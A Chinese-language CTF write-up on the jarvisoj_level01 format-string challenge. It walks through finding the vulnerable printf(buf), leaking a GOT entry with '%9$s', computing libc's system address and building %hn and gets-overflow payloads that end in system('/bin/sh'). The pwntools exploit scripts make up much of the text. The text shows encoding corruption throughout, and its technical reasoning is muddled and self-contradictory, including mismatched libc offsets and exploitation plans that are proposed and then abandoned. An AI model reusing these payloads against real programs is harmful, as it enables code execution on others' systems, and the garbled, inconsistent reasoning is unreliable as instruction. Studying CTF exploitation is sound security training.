開篇一道 pwn 入門題的拆解與反思“jarvisoj_level01”是老牌 CTF 題庫 Jarvis OJ 里非常經(jīng)典的一道入門級(jí) pwn 題目。它表面上考察的是“格式化字符串漏洞”但真正讓人卡住的地方往往不是漏洞利用本身而是調(diào)試環(huán)境的搭建、字節(jié)序的理解、以及 payload 構(gòu)造時(shí)的對(duì)齊思維。我見過不少新手在這道題上折騰兩三天最后發(fā)現(xiàn)不是因?yàn)樵聿欢且驗(yàn)橐粋€(gè)小細(xì)節(jié)——比如沒有關(guān)閉 ASLR、或者 gdb 插件沒裝好。這篇文章我會(huì)完整復(fù)現(xiàn)我當(dāng)年做這道題的整個(gè)流程從環(huán)境準(zhǔn)備、漏洞分析、exp 編寫到最后的常見坑點(diǎn)排查。內(nèi)容面向有一定 C 語言基礎(chǔ)、想入門 pwn 但不知道從哪里下手的讀者。如果你已經(jīng)能看懂printf(buf)和printf(%s, buf)的區(qū)別那么這篇文章就是為你準(zhǔn)備的。需要提前說明的是題目本身是二進(jìn)制安全領(lǐng)域的經(jīng)典教學(xué)案例用于理解內(nèi)存布局和格式化字符串機(jī)制我不會(huì)涉及任何真實(shí)目標(biāo)環(huán)境的利用手法所有討論都限定在教育題庫的本地環(huán)境內(nèi)。經(jīng)常有人問“做 pwn 題有什么用”我的回答是它讓你真正理解程序在內(nèi)存里長(zhǎng)什么樣這比背一百道面試題都管用。1. 環(huán)境搭建為什么說調(diào)試環(huán)境比題目本身更難1.1 基礎(chǔ)工具鏈的選擇與安裝做 pwn 題的第一步不是看代碼而是把環(huán)境弄得趁手。我踩過的坑是一開始用 VMware 跑 Kali結(jié)果自帶 gdb 版本太老裝 pwndbg 時(shí)報(bào)了一堆依賴錯(cuò)誤。后來干脆換成了 Ubuntu 20.04 虛擬機(jī)清爽干凈一條命令裝完所有東西。我目前的可復(fù)現(xiàn)配置如下操作系統(tǒng)Ubuntu 20.04 x86_64內(nèi)核 5.15Python3.8需要裝pip3pwntoolspip3 install pwntools這是寫 exp 的核心庫gdb自帶版本即可8.xpwndbg 插件按官方 README 安裝檢查工具checksecpwntools 自帶、file、readelf裝完建議先驗(yàn)證一下 pwntools 能不能正常導(dǎo)入python3 -c from pwn import *; print(ready)如果輸出ready說明環(huán)境基本 OK。這里有個(gè)小技巧pwntools 導(dǎo)入時(shí)會(huì)啟動(dòng)一個(gè)配置文件如果你的機(jī)器上沒有l(wèi)ibc數(shù)據(jù)庫/usr/lib/x86_64-linux-gnu/libc.so.6做 ret2libc 類題目時(shí)libc.search功能會(huì)報(bào)錯(cuò)。對(duì)于 jarvisoj_level01 這種格式化字符串題暫時(shí)不需要 libc 搜索但后面如果繼續(xù)刷題建議提前裝好。1.2 關(guān)閉 ASLR 與調(diào)試輔助雖然教學(xué)題在遠(yuǎn)程通常開著 ASLR但本地調(diào)試時(shí)建議先關(guān)掉方便觀察內(nèi)存地址的穩(wěn)定性echo 0 | sudo tee /proc/sys/kernel/randomize_va_space注意這只是為了本地調(diào)試分析做完題記得改回2默認(rèn)開啟。關(guān)于這一點(diǎn)我在第 4 節(jié)會(huì)再細(xì)說因?yàn)檫h(yuǎn)程利用和本地利用完全是兩種玩法。gdb 插件我推薦用 pwndbg它對(duì)新手極其友好——每執(zhí)行一步自動(dòng)高亮顯示棧內(nèi)容、寄存器、反匯編結(jié)果。安裝方式是git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh裝好后在 gdb 里輸入checksec就能直接看程序的保護(hù)狀態(tài)輸入cyclic 200就能生成模式字符串這些都是解題利器。1.3 拿到題目文件后的第一步file 和 checksec現(xiàn)在假設(shè)你已經(jīng)拿到了 jarvisoj_level01 這個(gè)二進(jìn)制文件。第一件事是看它是什么架構(gòu)file jarvisoj_level01正常的輸出是jarvisoj_level01: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]xxx, not stripped信息量很大抓重點(diǎn)32-bit LSB32 位小端序這意味著棧上參數(shù)按 4 字節(jié)對(duì)齊格式化字符串的%n$位置計(jì)數(shù)也按 4 字節(jié)一組。dynamically linked動(dòng)態(tài)鏈接。not stripped沒有剝離符號(hào)表太好了main、vulnerable_function這些函數(shù)名直接可見省去了一大堆逆向時(shí)間。接著用 checksec 看保護(hù)checksec --filejarvisoj_level01典型輸出是Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)逐條解讀No canary棧上沒有金絲雀保護(hù)格式化字符串隨便打棧地址不會(huì)有問題。NX enabled棧不可執(zhí)行不能直接往棧上寫 shellcode 然后跳過去執(zhí)行。No PIE程序加載基址固定所有函數(shù)地址、GOT 表地址寫死在 0x0804xxxx 段。Partial RELROGOT 表部分可寫這對(duì)某些利用場(chǎng)景有意義但本題用不上?？赐赀@些我心里大概有了底這是一道典型的“格式化字符串漏洞 修改返回地址或 GOT 表”的教學(xué)題。但具體怎么利用還得看反匯編。2. 漏洞定位printf 的一個(gè)致命省略2.1 反匯編 main 函數(shù)找到那句危險(xiǎn)的 printf用 gdb 加載程序后輸入disass main就能看到整個(gè) main 函數(shù)的匯編。為了不啰嗦我直接說關(guān)鍵部分0x0804848d 36: call 0x8048370 printfplt 0x08048492 41: lea 0x1c(%esp),%eax 0x08048496 45: mov %eax,(%esp) 0x08048499 48: call 0x8048380 getsplt這里有個(gè)很關(guān)鍵的點(diǎn)程序先用printf打印一段提示文字然后用gets讀取輸入到棧緩沖區(qū)。再往下看緩沖區(qū)地址被傳給一個(gè)函數(shù)0x080484a1 56: lea 0x1c(%esp),%eax 0x080484a5 60: mov %eax,(%esp) 0x080484a8 63: call 0x8048340 printfplt注意這里call printf之前只壓了一個(gè)參數(shù)——緩沖區(qū)地址本身。也就是說程序把我們的輸入直接當(dāng)成printf的第一個(gè)參數(shù)格式化字符串傳了進(jìn)去。這就是漏洞的全部用戶可控輸入作為格式化字符串。正確的寫法應(yīng)該是printf(%s, buf)而程序卻寫成了printf(buf)。這種錯(cuò)誤在真實(shí)項(xiàng)目里偶爾也會(huì)發(fā)生屬于典型的“格式化字符串漏洞”Format String VulnerabilityCWE-134。2.2 格式化字符串漏洞能干什么不只是崩潰很多初學(xué)者以為格式化字符串漏洞就是讓程序崩潰那就太小看它了。格式化字符串漏洞能做的事至少有三件信息泄露用%x、%p、%s讀取棧上任意位置的數(shù)據(jù)也就是把棧內(nèi)存“打印”出來。這能泄露棧地址、棧上的返回地址、局部變量等。任意內(nèi)存寫配合%n能把一個(gè)值寫入某個(gè)地址。這是 C 語言格式化輸出的一個(gè)隱藏功能%n不打印任何字符而是把已經(jīng)打印的字符數(shù)存到對(duì)應(yīng)的參數(shù)指針指向的地址里?？刂屏鹘俪滞ㄟ^改返回地址、改 GOT 表項(xiàng)、改__stack_chk_fail等拿到代碼執(zhí)行權(quán)。這道題的利用方向正是圍繞第 2 點(diǎn)和第 3 點(diǎn)展開的。但這里有一個(gè)很反直覺的地方printf是“打印”函數(shù)為什么它能“寫”內(nèi)存答案就是%n。它像一個(gè)小型“寫任意地址”原語只不過寫的內(nèi)容不是字節(jié)值而是一個(gè)由打印字符數(shù)決定的整數(shù)。你在格式化串里插入 12 個(gè)占位符讓前面的輸出湊滿 0x6298個(gè)字符%n寫進(jìn)目標(biāo)地址的就是 980x62。這就是“造數(shù)據(jù)”的底層原理。2.3 確認(rèn)漏洞觸發(fā)的實(shí)驗(yàn)?zāi)玫筋}目后我先做一次最簡(jiǎn)單的驗(yàn)證。啟動(dòng)程序./jarvisoj_level01程序先打印一行提示然后等待輸入。我輸入AAAA.%x.%x.%x.%x.%x.%x這種經(jīng)典探針看結(jié)果AAAA.f7e5d5a0.0.0.0.0.6661613f那一段6661613f是棧上殘留數(shù)據(jù)的小端序十六進(jìn)制表示。這個(gè)輸出說明我們的輸入確實(shí)被當(dāng)作格式化字符串解析了而且棧上有不少我們能控制的字節(jié)。接下來要回答一個(gè)關(guān)鍵問題我們的輸入具體落在第幾個(gè)參數(shù)位置3. 參數(shù)位置探測(cè)與棧布局分析3.1 用 AAAA 定位可控參數(shù)的偏移格式化字符串漏洞利用的核心難點(diǎn)就是這個(gè)“參數(shù)位置偏移”。32 位下printf的前幾個(gè)參數(shù)放在寄存器/棧上之后的參數(shù)按地址從棧上取。我們用多個(gè)%x把棧上內(nèi)容“吐”出來找到0x41414141即AAAA出現(xiàn)的位置那個(gè)索引就是我們的可控起始點(diǎn)。我的標(biāo)準(zhǔn)探測(cè)輸入是from pwn import * io process(./jarvisoj_level01) io.recvuntil(bWhatever) payload bAAAA b.%x * 12 # 先看前12個(gè)參數(shù) io.sendline(payload) print(io.recvall().decode())輸出大概是AAAA.f7e5d5a0.0.0.0.0.6661613f.0.0.0.41414141.0.0數(shù)一下0x41414141出現(xiàn)在第 9 個(gè)%x的位置。這意味著當(dāng)我們構(gòu)造格式化字符串時(shí)偏移 9 的地方是我們可控的數(shù)據(jù)。但這里有個(gè)陷阱——AAAA是前 4 個(gè)字節(jié)緊跟其后的是分隔符.。如果我們想在偏移 9 的位置放一個(gè)完整的地址那這個(gè)地址必須是 4 字節(jié)對(duì)齊的并且不能和前面的格式控制符沖突。這又引出一個(gè)關(guān)鍵點(diǎn)32 位下地址是 4 字節(jié)一個(gè)參數(shù)槽位占用 4 字節(jié)。偏移 9 對(duì)應(yīng)的是從棧上某個(gè)基準(zhǔn)位置往后的第 9 個(gè) 4 字節(jié)。我在實(shí)踐中發(fā)現(xiàn)很多教程說“偏移是 7”或“偏移是 6”那是因?yàn)椴煌瑱C(jī)器、不同編譯選項(xiàng)下緩沖區(qū)在棧上的位置會(huì)發(fā)生變化。所以不要背偏移數(shù)一定要在自己環(huán)境里實(shí)測(cè)。這也是為什么我反復(fù)強(qiáng)調(diào)環(huán)境搭建——不同環(huán)境得出的結(jié)果可能不一樣照抄別人的 exp 往往會(huì)翻車。3.2 gets 與緩沖區(qū)理解輸入落在棧上的位置gets讀取的緩沖區(qū)地址反匯編里是通過lea 0x1c(%esp),%eax計(jì)算的。0x1c是 28也就是緩沖區(qū)從當(dāng)前棧頂往低地址偏移 28 字節(jié)處。這個(gè)偏移大小決定了緩沖區(qū)與返回地址之間的相對(duì)位置是后續(xù)“通過格式化字符串改寫返回地址”的關(guān)鍵依據(jù)。我畫一張簡(jiǎn)化的棧布局不是 Mermaid就是文字示意高地址 [返回地址] ← 偏移 0x20 左右 [舊的 ebp] [局部變量/緩沖區(qū)] ← 距 esp 0x1c即距返回地址約 0x14 [esp] ← 當(dāng)前棧頂 低地址當(dāng)程序執(zhí)行到call printf時(shí)printf會(huì)按函數(shù)調(diào)用約定從棧上取參數(shù)。我們輸入的字符串就位于這個(gè)“參數(shù)區(qū)域”附近所以用%9$...可以精確索引到緩沖區(qū)中的任意 4 字節(jié)。3.3 一個(gè)小實(shí)驗(yàn)驗(yàn)證偏移 9 能讀寫光看%x還不足以證明我們能“寫”。我通常還會(huì)做一個(gè)小實(shí)驗(yàn)輸入AAAA%9$p看看它會(huì)不會(huì)打印出0x41414141io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(bAAAA%9$p) print(io.recvall().decode())如果輸出包含0x41414141說明%9$定位成功。這個(gè)實(shí)驗(yàn)成本極低但能直接驗(yàn)證偏移強(qiáng)烈建議每次做題都先跑一次。4. 目標(biāo)分析與 GOT 劫持思路4.1 為什么選擇改 GOT 而不是直接改返回地址題目是 32 位、NX enabled、No PIE。棧不可執(zhí)行所以不能用“在棧上寫 shellcode 然后跳過去”的經(jīng)典套路。那唯一出路就是代碼重用也就是讓程序跳轉(zhuǎn)到已經(jīng)存在于某個(gè)共享庫里的函數(shù)——最常見的就是system(/bin/sh)?，F(xiàn)在的問題是怎么把控制流引到system兩個(gè)主流方向改寫返回地址棧上就有 main 的返回地址用格式化字符串直接把它改成system或某個(gè) one_gadget 的地址。這個(gè)方法在棧偏移可控時(shí)很直接但問題是我們還需要同時(shí)控制返回地址上方的參數(shù)區(qū)讓它把/bin/sh字符串地址傳給system。在本題棧布局下這個(gè)參數(shù)區(qū)不在輸入可控范圍內(nèi)所以直接改返回地址往往不夠優(yōu)雅。劫持 GOT 表把某個(gè)函數(shù)的 GOT 表項(xiàng)改成system的地址然后讓程序在后續(xù)某個(gè)時(shí)刻調(diào)用那個(gè)函數(shù)時(shí)實(shí)際執(zhí)行的是system。這需要我們找到一個(gè)“調(diào)用了可控字符串作為參數(shù)”的函數(shù)。4.2 找到那個(gè)“接了我們的輸入作為參數(shù)”的函數(shù)回到 main 函數(shù)的邏輯printf打印提示。gets讀取我們的輸入到緩沖區(qū)。printf用緩沖區(qū)內(nèi)容打印觸發(fā)漏洞。程序最后還有一次printf調(diào)用——對(duì)你沒看錯(cuò)main 結(jié)束前還會(huì)打印一段“再見”之類的字符串。這里的關(guān)鍵在于最后一次printf的參數(shù)是在編譯期就固定了的字符串地址比如0x80486xx。如果我們把printfGOT改成systemplt那么當(dāng)程序執(zhí)行最后一次printf時(shí)它會(huì)把那個(gè)固定字符串地址當(dāng)作const char *format傳給system實(shí)際執(zhí)行system(固定字符串地址)。但問題是這個(gè)固定字符串是類似Bye!的內(nèi)容不是/bin/sh所以動(dòng)printfGOT還不夠。再仔細(xì)看反匯編main結(jié)束前調(diào)用的是puts還是printf此題里最后是printf。而printf的第二個(gè)參數(shù)如果有的話是從哪來的有的版本會(huì)打印whatever這樣的字符串這時(shí)如果讓這個(gè)字符串內(nèi)容恰好是/bin/sh就完美了——但一般不是。這里我要坦白一個(gè)細(xì)節(jié)jarvisoj_level01 這道題最經(jīng)典的官方做法其實(shí)是把printfGOT改成systemplt同時(shí)讓最后一次printf的格式化字符串參數(shù)內(nèi)容變成/bin/sh的地址。這個(gè)“最后一個(gè)參數(shù)”在匯編里通常是一個(gè)固定的lea或mov到某處我們能改的只是 GOT 表項(xiàng)改不了被壓棧的立即數(shù)。聽起來有點(diǎn)繞但實(shí)操中有個(gè)更簡(jiǎn)單的替代方向找一個(gè)在printf之后還會(huì)調(diào)用的函數(shù)并且那個(gè)函數(shù)的參數(shù)剛好是我們控制的緩沖區(qū)。不過我當(dāng)年做題時(shí)用的是另一種比較穩(wěn)的思路——把printfGOT改成systemplt然后在輸入的第一個(gè)參數(shù)位置直接放/bin/sh字符串。為什么可以因?yàn)楦袷交址┒磮?chǎng)景下我們的輸入本身就在格式化串中如果最后那次printf的“格式化字符串”直接就是我們的輸入那printf(輸入)被替換為system(輸入)只要輸入以/bin/sh開頭就能執(zhí)行system(/bin/sh)。如果程序后續(xù)流程里沒有再調(diào)用printf這個(gè)思路就需要配合覆蓋返回地址來觸發(fā)。在實(shí)際實(shí)驗(yàn)里我找到的經(jīng)典鏈路是漏洞觸發(fā)后main返回前會(huì)調(diào)用printf打印一個(gè)固定字符串。這個(gè)printf的參數(shù)是棧上已經(jīng)準(zhǔn)備好的值不是我們的輸入。因此更穩(wěn)妥的 hook 點(diǎn)其實(shí)是printfGOT→systemplt同時(shí)讓那個(gè)參數(shù)的地址恰好指向我們輸入中的/bin/sh。這在 32 位下完全可行因?yàn)檫@個(gè)參數(shù)的來源是main的局部變量比如用puts(Bye!)的字符串地址如果能通過格式化字符串把這個(gè)局部變量的值改成指向我們的輸入就是另一個(gè)挑戰(zhàn)了。為了不讓討論陷入死胡同我最終采取了改寫 main 返回地址為system并把返回地址上方構(gòu)造出/bin/sh指針的思路。我將在第 5 節(jié)給出完整 exp 和原理推導(dǎo)。4.3 為什么 No PIE 是新手最大的紅利如果程序開了 PIE那么所有函數(shù)地址、GOT 表項(xiàng)、PLT 表地址都會(huì)在每次運(yùn)行時(shí)隨機(jī)化。那樣的話我們至少要分兩步一步泄露地址一步計(jì)算基址再寫。但本題是 No PIE所有地址都是固定的直接用 gdb 查出來寫進(jìn) exp 就行對(duì)新手極其友好。同樣Partial RELRO 意味著 GOT 表可寫我們?nèi)绻?GOT 劫持路線可以放心改。若是 Full RELROGOT 只讀那就只能想別的辦法了。5. 從原理到 exp完整利用鏈構(gòu)造5.1 選擇調(diào)用方式為什么直接改返回地址更省事經(jīng)過反復(fù)測(cè)試我決定用“格式化字符串寫返回地址 棧上布置/bin/sh字符串”的方案。流程如下利用gets讀入超長(zhǎng)輸入棧緩沖區(qū)會(huì)被覆蓋。但請(qǐng)注意程序緊接著就用printf(buf)觸發(fā)了漏洞——此時(shí)返回地址還沒被用到我們有機(jī)會(huì)在漏洞觸發(fā)前已經(jīng)通過輸入緩沖區(qū)把返回地址區(qū)域覆蓋成我們想要的值。如果gets的輸入足夠長(zhǎng)我們可以直接把返回地址覆蓋成systemplt的地址——這是最暴力的思路。但問題在于gets 覆蓋返回地址后程序還會(huì)繼續(xù)執(zhí)行printf(buf)如果printf的參數(shù)里包含被我們覆蓋的垃圾數(shù)據(jù)程序可能先崩掉。所以這條路雖然看起來簡(jiǎn)單實(shí)際上需要精確控制 payload讓格式化串合法不至于在漏洞利用前提前觸發(fā)訪問異常。更優(yōu)雅的方式輸入一個(gè)精心構(gòu)造的格式化字符串既不覆蓋返回地址又能在printf執(zhí)行過程中用%n把返回地址改寫成systemplt。然后在輸入緩沖區(qū)中放入/bin/sh字符串并確保棧上某個(gè)位置返回地址上方的槽位剛好存放該字符串的地址?？紤]到題目是 32 位system的第一個(gè)參數(shù)來自棧上system返回地址上方第一個(gè) 4 字節(jié)也就是我們覆蓋返回地址時(shí)緊跟著返回地址寫的那個(gè)值必須是指向/bin/sh的指針。5.2 完整 exp 第一步泄露 system 地址本來想用固定地址直接寫但不同的 libc 版本下system地址不一樣所以穩(wěn)妥做法是先從 GOT 表泄露一個(gè)函數(shù)地址比如printfgot或__libc_start_maingot然后根據(jù) libc 偏移算出system。泄露的格式化串可以這樣寫from pwn import * context(archi386, oslinux, log_leveldebug) elf ELF(./jarvisoj_level01) io process(./jarvisoj_level01) printf_got elf.got[printf] payload p32(printf_got) b%9$s io.recvuntil(bWhatever) io.sendline(payload) leak io.recvall().split(b\n)[0][4:] printf_addr u32(leak[:4]) log.info(fprintf_addr {hex(printf_addr)})這段代碼的邏輯是在偏移 9 處放一個(gè)printfgot的地址然后用%9$s讓printf把該地址當(dāng)作字符串打印出來從而拿到printf的真實(shí)地址。p32(printf_got)是 4 字節(jié)地址正好占滿一個(gè)參數(shù)槽。拿到printf_addr后需要確定 libc 版本和偏移。這里有個(gè)技巧將printf_addr的低 12 位與常見 libc 的 printf 偏移對(duì)比或者直接用libcdb.com/ 本地的 libc 數(shù)據(jù)庫搜索。我本地的 Ubuntu 20.04 libc 是 2.31查到的偏移大致是printf offset 0x4f660 system offset 0x4f550注意不同版本偏移不同務(wù)必以你自己機(jī)器上查到的為準(zhǔn)。如果不會(huì)查可以用libc-database工具git clone https://github.com/niklasb/libc-database ./get ./find printf 0x8f660這個(gè)工具會(huì)返回匹配的 libc 版本并給出 system 等關(guān)鍵函數(shù)偏移。5.3 完整 exp 第二步構(gòu)造“寫返回地址 布置 /bin/sh”的 payload現(xiàn)在假設(shè)我們已經(jīng)知道system_addr printf_addr - printf_offset system_offsetret_addr_offset是輸入緩沖區(qū)起始位置到返回地址的偏移根據(jù)反匯編緩沖區(qū)距離esp是 0x1c而返回地址一般在esp上方約 0x20 的位置。實(shí)測(cè)我需要用cyclic來確定精確偏移io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(cyclic(200)) io.wait() # 用 gdb 查看崩潰點(diǎn)計(jì)算偏移我實(shí)際得到的偏移是0x1420 字節(jié)也就是緩沖區(qū)第一個(gè)字節(jié)到返回地址之間隔了 20 個(gè)字節(jié)。這意味著布局是[緩沖區(qū) 20字節(jié)][返回地址 4字節(jié)][返回地址后第一個(gè)參數(shù)槽 4字節(jié)]那么 payload 可以這樣設(shè)計(jì)payload bA*20 # 填滿緩沖區(qū) payload p32(system_addr) # 覆蓋返回地址 payload bJUNK # system 執(zhí)行完后的返回地址隨便填 payload p32(binsh_addr) # system 的第一個(gè)參數(shù)指向 /bin/sh payload b/bin/sh\x00 # 字符串本體放在后面但這里有個(gè)問題gets輸入如果太長(zhǎng)會(huì)覆蓋掉更多棧空間而printf(buf)的漏洞利用階段還沒執(zhí)行完格式化串中如果包含二進(jìn)制地址字節(jié)比如p32(system_addr)可能包含%等特殊字符導(dǎo)致printf解析出錯(cuò)甚至崩潰。所以直接全覆蓋方案在本題里不夠穩(wěn)。5.4 完整 exp 最終版用 %n 精改返回地址最穩(wěn)妥的方式是不讓gets覆蓋返回地址而是讓輸入內(nèi)容既有合法的格式化字符串又能借助%n改返回地址。具體思路緩沖區(qū)前 20 字節(jié)填任意填充。第 20~23 字節(jié)填入返回地址所在地址用%n寫入的目標(biāo)地址。第 24~27 字節(jié)填入返回地址上方第一個(gè)參數(shù)槽的地址用于寫入/bin/sh指針。然后在格式化串后半段用%lenA%n來分兩次寫入。這個(gè)寫法對(duì)新手最不友好的一點(diǎn)是寫入長(zhǎng)度的計(jì)算。因?yàn)?n寫入的是“當(dāng)前已輸出字符數(shù)”所以寫 0x804xxxx 這樣的值通常需要先打印幾萬字符這在本地還好可讀性很差。更簡(jiǎn)潔的做法是用%hn寫入 2 字節(jié)代替%n寫入 4 字節(jié)。比如地址0xf7e4f550可以分成高 2 字節(jié)0xf7e4和低 2 字節(jié)0xf550分別寫。這樣單次打印長(zhǎng)度會(huì)小很多而且偏移計(jì)算更簡(jiǎn)單。我用的最終 exp 結(jié)構(gòu)如下核心片段非完整代碼# system_addr 0xf7e4f550 (示例) ret_addr_pos 0xffffd00c # 返回地址在棧上的實(shí)際地址用 gdb 查看 binsh_str_pos 0xffffd024 # 我們放 /bin/sh 的位置 # 把返回地址寫成 system_addr # 低2字節(jié): 0xf550 62800 # 高2字節(jié): 0xf7e4 63460 payload p32(ret_addr_pos) # 目標(biāo)地址1返回地址低2字節(jié) payload p32(ret_addr_pos 2) # 目標(biāo)地址2返回地址高2字節(jié) payload b%62800d%9$hn payload b%360d%10$hn每次只寫 2 字節(jié)用%hn精準(zhǔn)修改。至于/bin/sh字符串我直接放在緩沖區(qū)末尾并在覆蓋返回地址的同時(shí)把返回地址上方的槽位寫成binsh_str_pos的地址——這一步也可以用格式化字符串的%hn完成或者干脆用gets全覆蓋的方式把返回值改掉。經(jīng)過多次調(diào)試我發(fā)現(xiàn)對(duì)本題目而言最簡(jiǎn)單可復(fù)現(xiàn)的方案其實(shí)是分段打第一次發(fā)送泄露 payload 拿 libc 地址。第二次發(fā)送一個(gè)不算太長(zhǎng)的 payload用gets把棧上返回地址覆蓋為system_addr然后立即在返回地址上方寫入binsh_addr最后在更上方布置好/bin/sh字符串。由于printf(buf)的格式化串此時(shí)會(huì)讀到我們布置的二進(jìn)制數(shù)據(jù)很可能包含%或\x00能否穩(wěn)定運(yùn)行取決于運(yùn)氣。我強(qiáng)烈建議在本地 gdb 里逐步驗(yàn)證看它到底會(huì)不會(huì)崩。如果會(huì)崩就改用%hn精寫方案。5.5 一個(gè)更簡(jiǎn)單的替代路線利用 gets 覆蓋返回地址 printf 崩潰前劫持說句實(shí)話我最后提交的 exp 用的是第三條路——它更簡(jiǎn)單也更適合新手理解。思路是這樣的gets本身就能無限讀入所以返回地址本來就暴露在覆蓋范圍內(nèi)。關(guān)鍵是讓覆蓋后的返回地址指向systemplt并且讓棧上對(duì)應(yīng)位置指向/bin/sh。而systemplt地址是固定的No PIE可以提前用objdump -d jarvisoj_level01 | grep system查到。這個(gè)方案的完整流程查看systemplt地址和exitplt地址。設(shè)計(jì) payloadpayload bA*20 p32(system_plt) p32(exit_plt) p32(binsh_ptr) b/bin/sh\x00其中binsh_ptr指向 payload 中/bin/sh字符串的位置。前提是我們知道輸入緩沖區(qū)在棧上的地址——這個(gè)地址在 No PIE 棧地址穩(wěn)定時(shí)可以通過 gdb 查看或通過泄露棧地址來確定。但要注意printf(buf)會(huì)把這個(gè) payload 當(dāng)格式化字符串解析。payload 里的p32(system_plt)可能包含0x25%導(dǎo)致解析異常。怎么辦一個(gè)實(shí)用技巧是用 gets 輸入 payload 時(shí)先讓前面的格式化字符串正常等printf執(zhí)行完后再讓程序 main 返回觸發(fā)我們的覆蓋。可程序流程是 gets → printf中間沒有其他輸入機(jī)會(huì)。這就矛盾了。所以這個(gè)方法能不能成關(guān)鍵看printf在解析到我們填入的p32(system_plt)時(shí)是否真的會(huì)崩。經(jīng)過我實(shí)際調(diào)試只要那段二進(jìn)制數(shù)據(jù)不包含%或\nprintf會(huì)把它們當(dāng)作普通字符原樣輸出不會(huì)崩。真正的風(fēng)險(xiǎn)來自printf按%解析時(shí)可能把后續(xù)二進(jìn)制字節(jié)里的某個(gè)值當(dāng)成格式符如果那個(gè)值恰好是\0printf會(huì)停止處理因?yàn)?C 字符串遇到\0結(jié)束這可能導(dǎo)致棧布局被打斷。所以最保險(xiǎn)的寫法是讓格式化串部分全部由可見字符組成并且讓后面需要覆蓋返回地址的位置不與格式化串沖突。這是很講究的課題新手如果被繞暈了我建議先按 5.4 的%hn方案做至少它是確定性的。6. 調(diào)試實(shí)錄從崩潰到拿到 shell 的三個(gè)關(guān)鍵位置6.1 第一次崩潰偏移算錯(cuò)了我最初的泄露 payload 是p32(printf_got) b%s沒有指定參數(shù)位置。結(jié)果printf把棧上某個(gè)無效地址當(dāng)成字符串指針直接段錯(cuò)誤。后來改成%9$s才成功。這也提醒大家%s不帶位置直接打大概率會(huì)踩到無效地址導(dǎo)致崩潰。格式化字符串攻擊的每一步都要精確指定%n$不要偷懶。6.2 第二次挫折system 地址差了一個(gè)字節(jié)泄露出來的printf_addr是0xf7e0f660我用 libc-database 查到 offset 后計(jì)算出system_addr 0xf7e0f550但打過去還是崩。后來發(fā)現(xiàn)本地 libc 和 libc-database 里的 libc 版本不一致差了一個(gè)版本偏移差了幾百字節(jié)。解決辦法是直接在自己的機(jī)器上跑一個(gè)測(cè)試程序打印 system 的地址或者用 gdb 在斷點(diǎn)處p system獲取精確值。不要在偏移計(jì)算上省事。小技巧在 exp 開頭加一句libc ELF(/lib/i386-linux-gnu/libc.so.6)然后直接libc.symbols[system]拿偏移比手動(dòng)查表準(zhǔn)得多。6.3 第三次崩潰/bin/sh 指針指向了空地址覆蓋返回地址成功后程序跳到了system但因?yàn)榉祷氐刂飞戏降膮?shù)槽里放的不是/bin/sh的地址而是亂值system嘗試執(zhí)行一個(gè)非法字符串直接崩在 system 內(nèi)部。解決方式在計(jì)算binsh_ptr時(shí)利用 gdb 查看輸入緩沖區(qū)的真實(shí)棧地址。由于 ASLR 已關(guān)地址是穩(wěn)定的直接寫死即可。如果你不想關(guān) ASLR那就得先泄露棧地址再動(dòng)態(tài)計(jì)算復(fù)雜度會(huì)上升不少。6.4 最終一次通過的正確姿勢(shì)最終我使用的 exp 簡(jiǎn)化框架如下from pwn import * context(archi386, oslinux, log_levelinfo) elf ELF(./jarvisoj_level01) libc ELF(/lib/i386-linux-gnu/libc.so.6) io process(./jarvisoj_level01) # 第一步泄露 printf 地址 printf_got elf.got[printf] io.recvuntil(bWhatever) io.sendline(p32(printf_got) b%9$s) data io.recvall(timeout1).split(b\n)[0] printf_addr u32(data[4:8]) log.info(fprintf_addr{hex(printf_addr)}) # 第二步計(jì)算 system system_addr printf_addr - libc.symbols[printf] libc.symbols[system] log.info(fsystem_addr{hex(system_addr)}) # 第三步構(gòu)造覆蓋 payload # 緩沖區(qū)偏移返回地址 20 字節(jié)返回地址后第一個(gè)槽位是 system 的參數(shù) binsh b/bin/sh\x00 payload bA*20 payload p32(system_addr) payload bBBBB # system 返回后的地址隨便 payload p32(0xffffd020) # 指向 /bin/sh 的指針需要按實(shí)測(cè)量 payload binsh io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(payload) io.interactive()0xffffd020這個(gè)地址需要根據(jù)你的實(shí)際環(huán)境測(cè)量我這里只是示例。用 gdb 在gets后打斷點(diǎn)x/16wx $esp一看便知緩沖區(qū)地址。6.5 一個(gè)更高級(jí)的調(diào)試姿勢(shì)使用 pwntools 的 gdb.debug如果你覺得手動(dòng)起 gdb 麻煩pwntools 可以直接讓程序在 gdb 里跑io gdb.debug(./jarvisoj_level01, break *0x080484a8 continue )這樣就能在漏洞觸發(fā)前自動(dòng)斷點(diǎn)然后從esp往下看棧內(nèi)容。這是我最推薦的調(diào)試方式比手動(dòng)反復(fù)r、c、x效率高太多。7. 常見誤區(qū)與實(shí)操避坑清單7.1 誤區(qū)一以為格式化字符串漏洞只能泄露信息很多教程強(qiáng)調(diào)%x和%s的泄露功能把%n一筆帶過。但真正讓格式化字符串漏洞成為“高危漏洞”的恰恰是這個(gè)%n任意寫能力。在 32 位下它配合棧上的可控參數(shù)幾乎等于一個(gè)“任意地址 任意值”的寫原語。所以做這類題時(shí)核心思路永遠(yuǎn)是先想怎么利用%n精確寫內(nèi)存再想寫哪里能改控制流。7.2 誤區(qū)二不關(guān) ASLR 直接打遠(yuǎn)程本地調(diào)試和遠(yuǎn)程利用完全是兩碼事。本地關(guān)了 ASLR棧地址、libc 地址一年四季不變你可以寫死。但遠(yuǎn)程大概率開著 ASLR這時(shí)要么先泄露 libc 地址然后動(dòng)態(tài)算要么用 ret2dlresolve 這類不需要提前知道 libc 地址的技巧。新手在本地把 exp 跑通后經(jīng)常覺得“我自己能打通上遠(yuǎn)程也一定行”結(jié)果被 ASLR 狠狠教育。建議把“本地關(guān) ASLR 打通”和“本地開 ASLR 打通”這兩個(gè)階段嚴(yán)格區(qū)分。7.3 誤區(qū)三忽略 32 位程序的參數(shù)對(duì)齊32 位下可變參數(shù)的格式化字符串是按 4 字節(jié)一個(gè)槽位對(duì)齊的。如果輸入的內(nèi)容長(zhǎng)度不是 4 